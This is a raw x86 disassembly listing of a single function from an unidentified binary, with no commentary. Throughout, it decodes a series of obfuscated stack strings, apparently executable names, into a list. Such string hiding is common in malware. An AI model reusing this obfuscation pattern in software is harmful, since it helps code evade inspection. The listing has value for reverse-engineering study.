mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412fb7
sub ecx, esi
lea eax, [ebp - 0x1f]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9a
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x9b
xor ecx, ecx
mov dword [ebp - 0x38], 0x25090503
mov word [ebp - 0x34], 0x2423
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x413003
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413040
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9c
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x9d
xor ecx, ecx
mov dword [ebp - 0x1d], 0x232c2403
mov dword [ebp - 0x19], 0x2f3e2324
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x413094
sub esp, 0x18
lea ecx, [ebp - 0x1d]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4130d0
sub ecx, esi
lea eax, [ebp - 0x1d]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9e
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x9f
xor ecx, ecx
mov dword [ebp - 0x38], 0x25293203
mov word [ebp - 0x34], 0x2423
mov byte [ebp - 0x32], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x413120
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413157
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa0
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa1
xor ecx, ecx
mov dword [ebp - 0x19], 0x2b2d2f07
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x4131a4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4131e0
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa2
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa3
xor ecx, ecx
mov dword [ebp - 0x18], 0x29242307
mov dword [ebp - 0x14], 0x242325
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x413230
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413267
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa4
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa5
xor ecx, ecx
mov dword [ebp - 0x19], 0x2f272b04
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x4132b4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4132f0
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa6
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa7
xor ecx, ecx
mov dword [ebp - 0x1a], 0x2723381a
mov dword [ebp - 0x16], 0x2325292f
mov word [ebp - 0x12], 0x24
nop
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x413340
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413377
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa8
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa9
xor ecx, ecx
mov dword [ebp - 0x1a], 0x38382f1e
mov dword [ebp - 0x16], 0x2325292b
mov word [ebp - 0x12], 0x24
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4133d0
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413407
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xaa
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xab
xor ecx, ecx
mov dword [ebp - 0x38], 0x25090b13
mov word [ebp - 0x34], 0x2423
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x413453
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413490
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xac
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xad
xor ecx, ecx
mov dword [ebp - 0x37], 0x392b2910
mov word [ebp - 0x33], 0x22
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 5
jb 0x4134e0
sub esp, 0x18
lea ecx, [ebp - 0x37]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413517
sub ecx, esi
lea eax, [ebp - 0x37]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xae
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xaf
xor ecx, ecx
mov dword [ebp - 0x18], 0x293c2f2e
mov dword [ebp - 0x14], 0x242325
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x413560
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413597
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb0
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xb1
xor ecx, ecx
mov dword [ebp - 0x1c], 0x232d232e
mov dword [ebp - 0x18], 0x29262b3e
mov dword [ebp - 0x14], 0x242325
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xb
jb 0x4135f0
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413627
sub ecx, esi
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb2
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xb3
xor ecx, ecx
mov dword [ebp - 0x19], 0x2f3e2306
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413674
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4136b0
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb4
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xb5
xor ecx, ecx
mov dword [ebp - 0x19], 0x2e2e2f18
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413700
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413737
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb6
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xb7
xor ecx, ecx
movaps xmm0, xmmword [0x526b90]
movups xmmword [ebp - 0x21], xmm0
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x21]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0x10
jb 0x413781
sub esp, 0x18
lea ecx, [ebp - 0x21]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4137b8
sub ecx, esi
lea eax, [ebp - 0x21]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb8
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xb9
xor ecx, ecx
mov dword [ebp - 0x1c], 0x2d2e2f06
mov dword [ebp - 0x18], 0x66a382f
mov dword [ebp - 0x14], 0x2f3c23
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xb
jb 0x413810
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413847
sub ecx, esi
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xba
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x30
mov byte [ebp - 4], 0x71
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x4138ac
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4138a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0xb0]
call fcn.00402890
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x158]
call fcn.00402890
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x170]
call fcn.00402890
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x188]
call fcn.00402890
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x1a0]
call fcn.00402890
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1b8]
call fcn.00402890
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x1d0]
call fcn.00402890
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1e8]
call fcn.00402890
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x200]
call fcn.00402890
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41398c
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413982
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x4139e5
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4139db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x413a3e
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413a34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x413a97
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413a8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x413af0
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413ae6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x413b49
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413b3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c2d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.004d51a0
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.004d51a0
int3